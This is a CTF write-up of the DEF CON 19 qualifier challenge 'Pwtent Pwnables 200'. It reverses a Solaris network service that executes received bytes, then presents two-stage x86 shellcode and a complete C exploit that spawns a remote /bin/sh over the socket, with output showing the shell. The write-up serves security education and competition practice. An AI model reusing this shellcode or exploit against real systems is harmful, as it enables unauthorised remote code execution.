This weekend a few of us had some good fun with the defcon 19 CTF prequals. Here’s a short write-up of Pwtent Pwnables 200.
$ file pp200.elf pp200.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped $ wtfux... ; strings pp200.elf -bash: wtfux...: command not found .. @(#)SunOS 5.10 Generic January 2005 $ A-h4!@#%
So we’re dealing with a SunOS/Solaris x86_32 binary here. Time to quickly deploy an Opensolaris VM and see if we can interactively debug this rather than dry reverse it.. Turns out this wasn’t really needed, the code is quite basic, but having an actual environment did help.
.text:0805161B mov [ebp+var_2C], eax .text:0805161E mov eax, [ebp+var_2C] .text:08051621 inc eax .text:08051622 mov [ebp+var_20], eax .... .text:080516AB loc_80516AB: ; CODE XREF: client_callback+95j .text:080516AB ; client_callback+ABj .text:080516AB sub esp, 4 .text:080516AE push BUFSIZE ; int .text:080516B4 push [ebp+var_2C] ; int .text:080516B7 push [ebp+fd] ; fd .text:080516BA call readAll .text:080516BF add esp, 10h .text:080516C2 mov [ebp+var_24], eax .text:080516C5 sub esp, 8 .text:080516C8 push [ebp+var_24] .text:080516CB push offset aReadDBytes ; "read %d bytes\n\n\n" .text:080516D0 call _printf .text:080516D5 add esp, 10h .text:080516D8 mov eax, [ebp+var_20] .text:080516DB call eax .text:080516DD mov esp, [ebp+var_28] .text:080516E0 mov eax, 0 .text:080516E5 leave .text:080516E6 retn
Here we can see the gist of the client handling code. It’s reading in BUFSIZE (0×49) bytes and then jumps to the same buffer .. or does it? If you look closely they increment eax by one before they set ebp+var_20
So we just add a junkbyte at the start of our payload. Another problem: we only have 73 bytes for our payload. A basic connectback or bindshell didn’t fit, so we went with a little two-stage thing.
Time to look up some information about Solaris calling conventions and syscall numbers!
STAGE0:
nop # read(fd, dst, 0x100); pushl $0x100 pushl $0x8047d0c pushl $0x05 pushl $0 movl $3, %eax lcall $0x27, $0 # lame trampoline pushl $0x8047d0c popl %eax jmp %eax
STAGE1:
# fcntl(sock_fd, F_DUP2FD, STDOUT_FILENO)
pushl $1
pushl $9
pushl $5
pushl $0
movl $62, %eax
lcall $0x27, $0
# fcntl(sock_fd, F_DUP2FD, STDIN_FILENO)
pushl $0
pushl $9
pushl $5
pushl $0
movl $62, %eax
lcall $0x27, $0
# fcntl(sock_fd, F_DUP2FD, STDERR_FILENO)
pushl $2
pushl $9
pushl $5
pushl $0
movl $62, %eax
lcall $0x27, $0
# execve("/bin/sh");
xorl %eax,%eax
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%edx
pushl %eax
pushl %edx
pushl %ebx
pushl $0
movl $0x3b, %eax
lcall $0x27, $0
And let’s wrap everything we learned up in a nicely weaponized exploit:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#define STAGE0_SIZE (sizeof(stage0))
#define STAGE0_PAD (0x049 - STAGE0_SIZE)
#define STAGE1_SIZE (sizeof(stage1))
#define STAGE1_PAD (0x100 - STAGE1_SIZE)
#define PAYLOAD_SIZE (STAGE0_SIZE + STAGE0_PAD + STAGE1_SIZE + STAGE1_PAD)
void fdsh(int sock);
// reads in 0x100 bytes to a fixed buffer and jumps there
unsigned char stage0[]=
"\x90" // nop
"\x68\x00\x01\x00\x00" // push $0x100
"\x68\x0c\x7d\x04\x08" // push $0x8047d0c
"\x6a\x05" // push $0x5
"\x6a\x00" // push $0x0
"\xb8\x03\x00\x00\x00" // mov $0x3,%eax
"\x9a\x00\x00\x00\x00\x27\x00" // lcall $0x27,$0x0 read(sock_fd, buf, 0x100)
"\x68\x0c\x7d\x04\x08" // push $0x8047d0c
"\x58" // pop %eax
"\xff\xe0"; // jmp *%eax
// fcntl(sock_fd, F_DUP2FD, STDOUT_FILENO)
// fcntl(sock_fd, F_DUP2FD, STDIN_FILENO)
// fcntl(sock_fd, F_DUP2FD, STDERR_FILENO)
// execve("/bin/sh");
unsigned char stage1[]=
"\x90" // nop
"\x6a\x01" // push $0x1
"\x6a\x09" // push $0x9
"\x6a\x05" // push $0x5
"\x6a\x00" // push $0x0
"\xb8\x3e\x00\x00\x00" // mov $0x3e,%eax
"\x9a\x00\x00\x00\x00\x27\x00" // lcall $0x27,$0x0
"\x6a\x00" // push $0x0
"\x6a\x09" // push $0x9
"\x6a\x05" // push $0x5
"\x6a\x00" // push $0x0
"\xb8\x3e\x00\x00\x00" // mov $0x3e,%eax
"\x9a\x00\x00\x00\x00\x27\x00" // lcall $0x27,$0x0
"\x6a\x02" // push $0x2
"\x6a\x09" // push $0x9
"\x6a\x05" // push $0x5
"\x6a\x00" // push $0x0
"\xb8\x3e\x00\x00\x00" // mov $0x3e,%eax
"\x9a\x00\x00\x00\x00\x27\x00" // lcall $0x27,$0x0
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe2" // mov %esp,%edx
"\x50" // push %eax
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x00" // push $0x0
"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax
"\x9a\x00\x00\x00\x00\x27\x00"; // lcall $0x27,$0x0
int main(int argc, char *argv[]) {
unsigned char *payload;
unsigned int addr=0;
struct hostent *hp;
struct sockaddr_in pin;
int fd;
if (argc == 1 || argc > 3) {
fprintf(stderr, "Usage: %s <host> [addr]\n", argv[0]);
return -1;
}
if (argc == 3) {
addr=strtoull(argv[2], NULL, 16);
printf("addr: %08x\n", addr);
memcpy(&stage0[7], &addr, 4);
memcpy(&stage0[28], &addr, 4);
}
if ((hp = gethostbyname(argv[1])) == 0) {
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(5555);
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
if (connect(fd,(struct sockaddr *) &pin, sizeof(pin)) == -1) {
perror("connect");
exit(1);
}
payload = malloc(PAYLOAD_SIZE);
memcpy(payload, stage0, STAGE0_SIZE);
memset(payload + STAGE0_SIZE, 0x42, STAGE0_PAD);
memcpy(payload + STAGE0_SIZE + STAGE0_PAD, stage1, STAGE1_SIZE);
memset(payload + STAGE0_SIZE + STAGE0_PAD + STAGE1_SIZE, 0x43, STAGE1_PAD);
if (send(fd, payload, PAYLOAD_SIZE, 0) == -1) {
perror("send");
exit(1);
}
free(payload);
printf("[>>] Click.. clack..\n");
// I like to build up some suspense..
sleep(1);
fdsh(fd);
return 0;
}
// oldskool fdsh, who doesn't love it? kindly borrowed from the internet
void fdsh(int sock) {
fd_set fd_read;
char buff[1024], *cmd="echo \"[<<] KAPOW! *** S0L4R1Z F3LL
\";uname -a;id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(sock, &fd_read)) {
if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (write(1, buff, n) < 0) break;
}
if (FD_ISSET(0, &fd_read)) {
if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (send(sock, buff, n, 0) < 0) break;
}
usleep(10);
}
fprintf(stderr, "Connection lost.\n\n");
exit(0);
}
The Money Shot:
$ gcc -o solaris solaris.c $ ./solaris Usage: ./solaris <host> [addr] $ ./solaris 192.168.1.48 [>>] Click.. clack.. [<<] KAPOW! *** S0L4R1Z F3LL![]()
SunOS osol-jeos 5.11 snv_111b i86pc i386 i86pc uid=103(ddtek) gid=1(other) pwd /tmp
Key yielded: wh0thefuck_USES_solarisanyway?!
[...] http://blog.lucainvernizzi.net/2011/06/defcon-quals-19-pwtent-pwnable-200.html | http://auntitled.blogspot.com/2011/06/defcon-19-quals-pwntent-pwnables-200.html | http://eb.haxx.in/?p=34 [...]